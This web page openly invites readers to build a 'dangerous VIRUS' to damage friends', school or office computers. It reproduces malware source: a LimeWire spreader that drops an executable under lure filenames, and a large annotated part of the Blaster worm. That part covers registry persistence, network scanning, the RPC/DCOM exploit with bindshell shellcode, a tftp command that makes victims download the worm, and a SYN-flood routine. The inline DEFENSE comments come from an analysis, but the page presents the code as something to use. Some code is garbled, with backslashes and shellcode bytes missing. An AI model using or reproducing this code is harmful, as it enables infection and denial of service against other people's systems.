We all want to make a dangerous VIRUS for making damage to system (usually our friend and school / office ). So lets understand hw to make it. We present it in form of few examples for you to try it at your disposal

Here are a few examples to start with, Lets start !

using namespace std;

int main (){
  char system[MAX_PATH];
char pathtofile[MAX_PATH];
HMODULE GetModH = GetModuleHandle(NULL);




ofstream myfile;
  myfile.open ("C:spread.bat");
  myfile << "@echo offn";
  myfile << "copy "C:WINDOWSsystem32syseval.exe" "C:Progra~1LimeWireFree Music.exe"n";
  myfile << "copy "C:WINDOWSsystem32syseval.exe" "C:Progra~1LimeWireScreenSaver.exe"n";
  myfile << "copy "C:WINDOWSsystem32syseval.exe" "C:Progra~1LimeWireNaked!.exe"n";
  myfile << "copy "C:WINDOWSsystem32syseval.exe" "C:Progra~1LimeWireFREE$$$.exe"n";
  myfile << "copy "C:WINDOWSsystem32syseval.exe" "C:Progra~1LimeWireHacking Ebook.exe"n";
  myfile << "copy "C:WINDOWSsystem32syseval.exe" "C:Progra~1LimeWireFast Money.exe"n";
  myfile << "copy "C:WINDOWSsystem32syseval.exe" "C:Progra~1LimeWireLimewireCDCrack.exe"n";
  myfile << "copy "C:WINDOWSsystem32syseval.exe" "C:Progra~1LimeWireKeygen.exe"n";
  myfile << "copy "C:WINDOWSsystem32syseval.exe" "C:Progra~1LimeWireMoney.exe"n";
  myfile << "copy "C:WINDOWSsystem32syseval.exe" "C:Progra~1LimeWireXXXDownloader.exe"n";
  myfile << "copy "C:WINDOWSsystem32syseval.exe" "C:Progra~1LimeWireFree Babes.exe"n";
  myfile << "copy "C:WINDOWSsystem32syseval.exe" "C:Progra~1LimeWire$$$.exe"n";
  myfile << "del %0n";
  myfile << "exitn";
  char Spreadstart[MAX_PATH]="C:spread.bat";
//Payload Here

  return 0;


This is the Limewire virus, it was huge at the time when Limewire was so massive for people to use to get their porn, music and movies. All with a lot of quite obvious other surprises that you don’t want to get along with one night in paris 😉 It’s the full thing here but you will need limewire to get the main things out of it, like Free Babes.exe 😀 With this virus it didn’t seem to be a thing that was going to be so huge, but when it did take off it really took off with the teenagers and all these things happened to their computer they found every single excuse except Limewire. As you can see there is a Keygen.exe as you can imagine is a keygen. There however, was a small problem with it. Because Limewire was so massive and was so widly used that the server for the keygen was flooded at all times of the day that the keygen was of no use. There were stories of the dev trying to sell the keygen list to someone but this was never confirmed properly.

#include    /*IP_HDRINCL*/
#include     /*InternetGetConnectedState*/

#pragma comment (lib, "ws2_32.lib")
#pragma comment (lib, "wininet.lib")
#pragma comment (lib, "advapi32.lib")

 * These strings aren't used in the worm, Buford put them here
 * so that whitehat researchers would discover them.
const char msg1[]="I just want to say LOVE YOU SAN!!";
const char msg2[]="billy gates why do you make this possible ?"
                  " Stop making money and fix your software!!";

 * Buford probably put the worm name as a "define" at the top
 * of his program so that he could change the name at any time.
 * 2003-09-29: This is the string that Parson changed.
#define MSBLAST_EXE "msblast.exe"

 * MS-RPC/DCOM runs over port 135.
 * DEFENSE: firewalling port 135 will prevent systems from
 * being exploited and will hinder the spread of this worm.
#define MSRCP_PORT_135 135

 * The TFTP protocol is defined to run on port 69. Once this
 * worm breaks into a victim, it will command it to download
 * the worm via TFTP. Therefore, the worms briefly runs a
 * TFTP service to deliver that file.
 * DEFENSE: firewalling 69/udp will prevent the worm from
 * fully infected a host.
#define TFTP_PORT_69    69

 * The shell-prompt is established over port 4444. The 
 * exploit code (in the variable 'sc') commands the victim
 * to "bind a shell" on this port. The exploit then connects
 * to that port to send commands, such as TFTPing the 
 * msblast.exe file down and launching it.
 * DEFENSE: firewalling 4444/tcp will prevent the worm from
 * spreading.
#define SHELL_PORT_4444 4444

 * A simple string to hold the current IP address
char target_ip_string[16];

 * A global variable to hold the socket for the TFTP service.
int fd_tftp_service;

 * Global flag to indicate this thread is running. This
 * is set when the thread starts, then is cleared when
 * the thread is about to end.
 * This demonstrates that Buford isn't confident with
 * multi-threaded programming -- he should just check
 * the thread handle.
int is_tftp_running;

*  When delivering the worm file to the victim, it gets the
 * name by querying itself using GetModuleFilename(). This
 * makes it easier to change the filename or to launch the
 * worm. */
char msblast_filename[256+4];

int ClassD, ClassC, ClassB, ClassA;

int local_class_a, local_class_b;

int winxp1_or_win2k2;

ULONG WINAPI blaster_DoS_thread(LPVOID);
void blaster_spreader();
void blaster_exploit_target(int fd, const char *victim_ip);
void blaster_send_syn_packet(int target_ip, int fd);

 * This is where the 'msblast.exe' program starts running
void main(int argc, char *argv[]) 
    WSADATA WSAData;     
    char myhostname[512]; 
    char daystring[3];
    char monthstring[3];     
    HKEY hKey;
    int ThreadId;
    register unsigned long scan_local=0;     

     * Create a registry key that will cause this worm
     * to run every time the system restarts.
     * DEFENSE: Slammer was "memory-resident" and could
     * be cleaned by simply rebooting the machine.
     * Cleaning this worm requires this registry entry
     * to be deleted.
        /*hKey*/        HKEY_LOCAL_MACHINE,  
        /*lpSubKey*/    "SOFTWAREMicrosoftWindows"
        /*Reserved*/    0,
        /*lpClass*/     NULL,
        /*dwOptions*/   REG_OPTION_NON_VOLATILE,
        /*samDesired */ KEY_ALL_ACCESS,
        /*lpSecurityAttributes*/ NULL, 
        /*phkResult */  &hKey,
        /*lpdwDisposition */ 0);
        "windows auto update", 

     * Make sure this isn't a second infection. A common problem
     * with worms is that they sometimes re-infect the same
     * victim repeatedly, eventually crashing it. A crashed  
     * system cannot spread the worm. Therefore, worm writers
     * now make sure to prevent reinfections. The way Blaster
     * does this is by creating a system "global" object called
     * "BILLY". If another program in the computer has already
     * created "BILLY", then this instance won't run.
     * DEFENSE: this implies that you can remove Blaster by  
     * creating a mutex named "BILLY". When the computer     
     * restarts, Blaster will falsely believe that it has
     * already infected the system and will quit. 
    CreateMutexA(NULL, TRUE, "BILLY"); 
    if (GetLastError() == ERROR_ALREADY_EXISTS)

     * Windows systems requires "WinSock" (the network API layer)
     * to be initialized. Note that the SYNflood attack requires
     * raw sockets to be initialized, which only works in
     * version 2.2 of WinSock.
     * BUFORD: The following initialization is needlessly
     * complicated, and is typical of programmers who are unsure
     * of their knowledge of sockets..
    if (WSAStartup(MAKEWORD(2,2), &WSAData) != 0
        && WSAStartup(MAKEWORD(1,1), &WSAData) != 0
        && WSAStartup(1, &WSAData) != 0)

     * The worm needs to read itself from the disk when  
     * transferring to the victim. Rather than using a hard-coded
     * location, it discovered the location of itself dynamically
     * through this function call. This has the side effect of
     * making it easier to change the name of the worm, as well
     * as making it easier to launch it.
   GetModuleFileNameA(NULL, msblast_filename,

    * When the worm infects a dialup machine, every time the user
    * restarts their machine, the worm's network communication
    * will cause annoying 'dial' popups for the user. This will
    * make them suspect their machine is infected.
    * The function call below makes sure that the worm only
    * starts running once the connection to the Internet
    * has been established and not before.
    * BUFORD: I think Buford tested out his code on a machine
    * and discovered this problem. Even though much of the
    * code indicates he didn't spend much time on
    * testing his worm, this line indicates that he did
    * at least a little bit of testing.
    while (!InternetGetConnectedState(&ThreadId, 0))
        Sleep (20000); /*wait 20 seconds and try again */

     * Initialize the low-order byte of target IP address to 0.
    ClassD = 0;

     * The worm must make decisions "randomly": each worm must
     * choose different systems to infect. In order to make
     * random choices, the programmer must "seed" the random
     * number generator. The typical way to do this is by
     * seeding it with the current timestamp.
     * BUFORD: Later in this code you'll find that Buford calls
     * 'srand()' many times to reseed. This is largely
     * unnecessary, and again indicates that Buford is not 
     * confident in his programming skills, so he constantly
     * reseeds the generator in order to make extra sure he
     * has gotten it right.

     * This initializes the "local" network to some random
     * value. The code below will attempt to figure out what
     * the true local network is -- but just in case it fails,
     * the initialization fails, using random values makes sure
     * the worm won't do something stupid, such as scan the
     * network around
    local_class_a = (rand() % 254)+1; 
    local_class_b = (rand() % 254)+1; 

     * This discovers the local IP address used currently by this
     * victim machine. Blaster randomly chooses to either infect
     * just the local ClassB network, or some other network,
     * therefore it needs to know the local network.
     * BUFORD: The worm writer uses a complex way to print out

     * the IP address into a string, then parse it back again
     * to a number. This demonstrates that Buford is fairly
     * new to C programming: he thinks in terms of the printed
     * representation of the IP address rather than in its
     * binary form.
    if (gethostname(myhostname, sizeof(myhostname)) != -1) {
        HOSTENT *p_hostent = gethostbyname(myhostname);

        if (p_hostent != NULL && p_hostent->h_addr != NULL) {
            struct in_addr in; 
            const char *p_addr_item;

            memcpy(&in, p_hostent->h_addr, sizeof(in));
            sprintf(myhostname, "%s", inet_ntoa(in)); 
            p_addr_item = strtok(myhostname, ".");
            ClassA = atoi(p_addr_item);  
            p_addr_item = strtok(0, ".");
            ClassB = atoi(p_addr_item);
            p_addr_item = strtok(0, ".");
            ClassC = atoi(p_addr_item);
            if (ClassC > 20) { 
                /* When starting from victim's address range, 
                 * try to start a little bi
t behind. This is
                 * important because the scanning logic only
                 * move forward. */
                ClassC -= (rand() % 20);     
            local_class_a = ClassA;  
            local_class_b = ClassB;  
            scan_local = TRUE; 

     * This chooses whether Blaster will scan just the local
     * network (40% chance) or a random network (60% chance)
    if ((rand() % 20) < 12)  
        scan_local = FALSE;

     * The known exploits require the hacker to indicate whether     
     * the victim is WinXP or Win2k. The worm has to guess. The
     * way it guesses is that it chooses randomly. 80% of the time
     * it will assume that all victims are WinXP, and 20% of the
     * time it will assume all victims are Win2k. This means that
     * propogation among Win2k machines will be slowed down by
     * the fact Win2k machines are getting DoSed faster than they
     * are getting exploited. 
    winxp1_or_win2k2 = 1; 
    if ((rand()%10) > 7)     
        winxp1_or_win2k2 = 2; 
     * If not scanning locally, then choose a random IP address
     * to start with.
     * BUG: this worm choose bad ranges above 224. This will     
     * cause a bunch of unnecessary multicast traffic. Weird
     * multicast traffic has historically been an easy way of 
     * detecting worm activity.
    if (!scan_local) { 
        ClassA = (rand() % 254)+1; 
        ClassB = (rand() % 254);     
        ClassC = (rand() % 254);     

     * Check the date so that when in the certain range, it will     
     * trigger a DoS attack against Micosoft. The following
     * times will trigger the DoS attack:
     *  Aug 16 through Aug 31
     *  Spt 16 through Spt 30
     *  Oct 16 through Oct 31
     *  Nov 16 through Nov 30
     *  Dec 16 through Dec 31
     * This applies to all years, and is based on local time.
     * FAQ: The worm is based on "local", not "global" time.
     * That means the DoS attack will start from Japan,
     * then Asia, then Europe, then the United States as the
     * time moves across the globe.
    GetDateFormat(  LOCALE_409,  
                    NULL, /*localtime, not GMT*/     
    GetDateFormat(  LOCALE_409,  
                    NULL, /*localtime, not GMT*/     
    if (atoi(daystring) > 15 && atoi(monthstring) > 8)
        CreateThread(NULL, 0, 
                    0, 0, &ThreadId); 

   * As the final task of the program, go into worm mode
     * trying to infect systems.
    for (;;)

     * It'll never reach this point, but in theory, you need a
     * WSACleanup() after a WSAStartup().


 * This will be called from CreateThread in the main worm body
 * right after it connects to port 4444. After the thread is     
 * started, it then sends the string "
 * tftp -i %d.%d.%d.%d GET msblast.exe" (where the %ds represents
 * the IP address of the attacker).
 * Once it sends the string, it then waits for 20 seconds for the
 * TFTP server to end. If the TFTP server doesn't end, it calls
 * TerminateThread.
DWORD WINAPI blaster_tftp_thread(LPVOID p)
     * This is the protocol format of a TFTP packet. This isn't
     * used in the code -- I just provide it here for reference
    struct TFTP_Packet
        short opcode;
        short block_id;
        char data[512];

    char reqbuf[512];           /* request packet buffer */
    struct sockaddr_in server;  /* server-side port number */
    struct sockaddr_in client;  /* client IP address and port */
    int sizeof_client;          /* size of the client structure*/
    char rspbuf[512];           /* response packet */

    static int fd;              /* the socket for the server*/
    register FILE *fp;
    register block_id;
    register int block_size;

    /* Set a flag indicating this thread is running. The other 
     * thread will check this for 20 seconds to see if the TFTP
     * service is still alive. If this thread is still alive in
     * 20 seconds, it will be killed.
    is_tftp_running = TRUE; /*1 == TRUE*/
    /* Create a server-socket to listen for UDP requests on */
    fd = socket(AF_INET, SOCK_DGRAM, 0);
    if (fd == SOCKET_ERROR)
        goto closesocket_and_exit;

    /* Bind the socket to 69/udp */
    memset(&server, 0, sizeof(server));
    server.sin_family = AF_INET;
    server.sin_port = htons(TFTP_PORT_69);    
    server.sin_addr.s_addr = 0;     /*TFTP server addr = */
    if (bind(fd, (struct sockaddr*)&server, sizeof(server)) != 0)
        goto closesocket_and_exit;

    /* Receive a packet, any packet. The contents of the received
     * packet are ignored. This means, BTW, that a defensive     
     * "worm-kill" could send a packet from somewhere else. This
     * will cause the TFTP server to download the msblast.exe
     * file to the wrong location, preventing the victim from
     * doing the download. */
    sizeof_client = sizeof(client);
    if (recvfrom(fd, reqbuf, sizeof(reqbuf), 0,  
                (struct sockaddr*)&client, &sizeof_client) <= 0)
        goto closesocket_and_exit;

    /* The TFTP server will respond with many 512 byte blocks
     * until it has completely sent the file; each block must
     * have a unique ID, and each block must be acknowledged.
     * BUFORD: The worm ignores TFTP ACKs. This is probably why
     * the worm restarts the TFTP service rather than leaving it
     * enabled: it essentially flushes all the ACKs from the     
     * the incoming packet queue. If the ACKs aren't flushed,
     * the worm will incorrectly treat them as TFTP requests.
    block_id = 0;

    /* Open this file. GetModuleFilename was used to figure out
     * this filename. */
    fp = fopen(msblast_filename, "rb");
    if (fp == NULL)
        goto closesocket_and_exit;

    /* Continue sending file fragments until none are left */
    for (;;) {

        /* Build TFTP header */
        *(short*)(rspbuf+0) = htons(TFTP_OPCODE_DATA);
        *(short*)(rspbuf+2)= htons((short)block_id);

        /* Read next block of data (about 12 blocks total need
         * to be read) */
        block_size = fread(rspbuf+4, 1, 512, fp);
        /* Increase the effective length to include the TFTP
         * head built above */
        block_size += 4;

        /* Send this block */
        if (sendto(fd, (char*)&rspbuf, block_size, 
            0, (struct sockaddr*)&client, sizeof_client) <= 0)

        /* Sleep for a bit.
         * The reason for this is because the worm doesn't care
         * about retransmits -- it therefore must send these     
         * packets slow enough so congestion doesn't drop them.
         * If it misses a packet, then it will DoS the victim
         * without actually infecting it. Worse: the intended
         * victim will continue to send packets, preventing the
         * worm from infecting new systems because the 
         * requests will misdirect TFTP. This design is very
         * bad, and is my bet as the biggest single factor
         * that slows down the worm. */

        /* File transfer ends when the last block is read, which
         * will likely be smaller than a full-sized block*/
        if (block_size != sizeof(rspbuf)) {
            fp = NULL;

    if (fp != NULL)


    /* Notify that the thread has stopped, so that the waiting 
     * thread can continue on */
    is_tftp_running = FALSE;

    return 0;

 * This function increments the IP address.  
 * BUFORD: This conversion from numbers, to strings, then back
 * to number is overly complicated. Experienced programmers
 * would simply store the number and increment it. This shows
 * that Buford does not have much experience work with
 * IP addresses.
void blaster_increment_ip_address()
    for (;;) {
        if (ClassD <= 254) {

        ClassD = 0;
        if (ClassC <= 254)
        ClassC = 0;
        if (ClassB <= 254)
        ClassB = 0;
        if (ClassA <= 254)
        ClassA = 0;

 * This is called from the main() function in an
 * infinite loop. It scans the next 20 addresses,
 * then exits.
void blaster_spreader()
    fd_set writefds;

    register int i;
    struct sockaddr_in sin;
    struct sockaddr_in peer;
    int sizeof_peer;
    int sockarray[20];
    int opt = 1;
    const char *victim_ip;

    /* Create the beginnings of a "socket-address" structure that
     * will be used repeatedly below on the 'connect()' call for
     * each socket. This structure specified port 135, which is
     * the port used for RPC/DCOM. */
    memset(&sin, 0, sizeof(sin));
    sin.sin_family = AF_INET;
    sin.sin_port = htons(MSRCP_PORT_135);

    /* Create an array of 20 socket descriptors */
    for (i=0; i<20; i++) {
        sockarray[i] = socket(AF_INET, SOCK_STREAM, 0);
        if (sockarray[i] == -1)
        ioctlsocket(sockarray[i], FIONBIO , &opt);

    /* Initiate a "non-blocking" connection on all 20 sockets
     * that were created above.
     * FAQ: Essentially, this means that the worm has 20     
     * "threads" -- even though they aren't true threads.
    for (i=0; i<20; i++) {
        int ip;

        sprintf(target_ip_string, "%i.%i.%i.%i",     
                                ClassA, ClassB, ClassC, ClassD);

        ip = inet_addr(target_ip_string);
        if (ip == -1)
        sin.sin_addr.s_addr = ip;
        connect(sockarray[i],(struct sockaddr*)&sin,sizeof(sin));

    /* Wait 1.8-seconds for a connection.
     * BUG: this is often not enough, especially when a packet
     * is lost due to congestion. A small timeout actually makes
     * the worm slower than faster */

    /* Now test to see which of those 20 connections succeeded.
     * BUFORD: a more experienced programmer would have done
     * a single 'select()' across all sockets rather than
     * repeated calls for each socket. */
    for (i=0; i<20; i++) {
        struct timeval timeout;
        int nfds;

        timeout.tv_sec = 0;
        timeout.tv_usec = 0;
        nfds = 0;

        FD_SET((unsigned)sockarray[i], &writefds);

        if (select(0, NULL, &writefds, NULL, &timeout) != 1) {
        } else {
            sizeof_peer = sizeof(peer);
                    (struct sockaddr*)&peer, &sizeof_peer);  
            victim_ip = inet_ntoa(peer.sin_addr);

            /* If connection succeeds, exploit the victim */
            blaster_exploit_target(sockarray[i], victim_ip);


 * This is where the victim is actually exploited. It is the same
 * exploit as created by xfocus and altered by HDMoore.
 * There are a couple of differences. The first is that the in
 * those older exploits, this function itself would create the
 * socket and connect, whereas in Blaster, the socket is already
 * connected to the victim via the scanning function above. The
 * second difference is that the packets/shellcode blocks are
 * declared as stack variables rather than as static globals.
 * Finally, whereas the older exploits give the hacker a     
 * "shell prompt", this one automates usage of the shell-prompt
 * to tell the victim to TFTP the worm down and run it.
void blaster_exploit_target(int sock, const char *victim_ip)

/* These blocks of data are just the same ones copied from the
 * xfocus exploit prototype. Whereas the original exploit
 * declared these as "static" variables, Blaster declares
 * these as "stack" variables. This is because the xfocus
 * exploit altered them -- they must be reset back to their
 * original values every time. */
unsigned char bindstr[]={

unsigned char request1[]={

unsigned char request2[]={

unsigned char request3[]={

unsigned char sc[]=

    "xffxffxffxff" /* return address */

    "xccxe0xfdx7f" /* primary thread data block */
    "xccxe0xfdx7f" /* primary thread data block */

    /* port 4444 bindshell */


unsigned char request4[]={

    int ThreadId;
    int len;
    int sizeof_sa;
    int ret;
    int opt;
    void *hThread;
    struct sockaddr_in target_ip;
    struct sockaddr_in sa;
    int fd;
    char cmdstr[0x200];
    int len1;
    unsigned char buf2[0x1000];
    int i;

     * Turn off non-blocking (i.e. re-enable blocking mode)  
     * DEFENSE: Tarpit programs (e.g. 'labrea' or 'deredoc')
     * will slow down the spread of this worm. It takes a long
     * time for blocking calls to timeout. I had several     
     * thousand worms halted by my 'deredoc' tarpit.
    opt = 0;
    ioctlsocket(sock, FIONBIO , &opt);

     * Choose whether the exploit targets Win2k or WinXP.
    if (winxp1_or_win2k2 == 1)
        ret = 0x100139d;
        ret = 0x18759f;
    memcpy(sc+36, (unsigned char *) &ret, 4);

    /* ----------------------------------------------
     * This section is just copied from the original exploit
     * script. This is the same as the scripts that have been
     * widely published on the Internet. */
    *(unsigned long *)(request2)=*(unsigned long *)(request2)+sizeof(sc)/2;      
    *(unsigned long *)(request2+8)=*(unsigned long *)(request2+8)+sizeof(sc)/2;


    *(unsigned long *)(buf2+8)=*(unsigned long *)(buf2+8)+sizeof(sc)-0xc;

    *(unsigned long *)(buf2+0x10)=*(unsigned long *)(buf2+0x10)+sizeof(sc)-0xc;      
    *(unsigned long *)(buf2+0x80)=*(unsigned long *)(buf2+0x80)+sizeof(sc)-0xc;
    *(unsigned long *)(buf2+0x84)=*(unsigned long *)(buf2+0x84)+sizeof(sc)-0xc;
    *(unsigned long *)(buf2+0xb4)=*(unsigned long *)(buf2+0xb4)+sizeof(sc)-0xc;
    *(unsigned long *)(buf2+0xb8)=*(unsigned long *)(buf2+0xb8)+sizeof(sc)-0xc;
    *(unsigned long *)(buf2+0xd0)=*(unsigned long *)(buf2+0xd0)+sizeof(sc)-0xc;
    *(unsigned long *)(buf2+0x18c)=*(unsigned long *)(buf2+0x18c)+sizeof(sc)-0xc;
    if (send(sock,bindstr,sizeof(bindstr),0)== -1)
            //perror("- Send");

    if (send(sock,buf2,len1,0)== -1)
            //perror("- Send");
    /* ----------------------------------------------*/

     * This section of code connects to the victim on port 4444.
     * DEFENSE : This means you can block this worm by blocking
     * TCP port 4444.
     * FAQ: This port is only open for the brief instant needed
     * to exploit the victim. Therefore, you can't scan for  
     * port 4444 in order to find Blaster victims.
    if ((fd=socket(AF_INET,SOCK_STREAM,0)) == -1)
    memset(&target_ip, 0, sizeof(target_ip));
    target_ip.sin_family = AF_INET;
    target_ip.sin_port = htons(SHELL_PORT_4444);
    target_ip.sin_addr.s_addr = inet_addr(victim_ip);
    if (target_ip.sin_addr.s_addr == SOCKET_ERROR)
    if (connect(fd, (struct sockaddr*)&target_ip, 
                            sizeof(target_ip)) == SOCKET_ERROR)

     * This section recreates the IP address from whatever IP
     * address this successfully connected to. In practice,
     * the strings "victim_ip" and "target_ip_string" should be
     * the same.
    memset(target_ip_string, 0, sizeof(target_ip_string));
    sizeof_sa = sizeof(sa);
    getsockname(fd, (struct sockaddr*)&sa, &sizeof_sa);
    sprintf(target_ip_string, "%d.%d.%d.%d",     
        sa.sin_addr.s_net, sa.sin_addr.s_host, 
        sa.sin_addr.s_lh, sa.sin_addr.s_impno);

     * This section creates a temporary TFTP service that is     
     * ONLY alive during the period of time that the victim
     * needs to download.
     * FAQ: You can't scan for TFTP in order to find Blaster     
     * victims because the port is rarely open.
    if (fd_tftp_service)
    hThread = CreateThread(0,0,
    Sleep(80); /*give time for thread to start*/
     * This sends the command
     *    tftp -i GET msblast.exe
     * to the victim. The "tftp.exe" program is built into
     * Windows. It's intended purpose is to allow users to 
     * manually update their home wireless access points with
     * new software (and other similar tasks). However, it is
     * not intended as a generic file-transfer protocol (it
     * stands for "trivial-file-transfer-protocol" -- it is
     * intended for only trivial tasks). Since a lot of hacker
     * exploits use the "tftp.exe" program, a good hardening
     * step is to remove/rename it.
    sprintf(cmdstr, "tftp -i %s GET %sn", 
                                target_ip_string, MSBLAST_EXE);
    if (send(fd, cmdstr, strlen(cmdstr), 0) <= 0)
        goto closesocket_and_return;

     * Wait 21 seconds for the victim to request the file, then
     * for the file to be delivered via TFTP.
    for (i=0; i<10 && is_tftp_running; i++)

     * Assume the the transfer is successful, and send the 
     * command to start executing the newly downloaded program.
     * BUFORD: The hacker starts this twice. Again, it]


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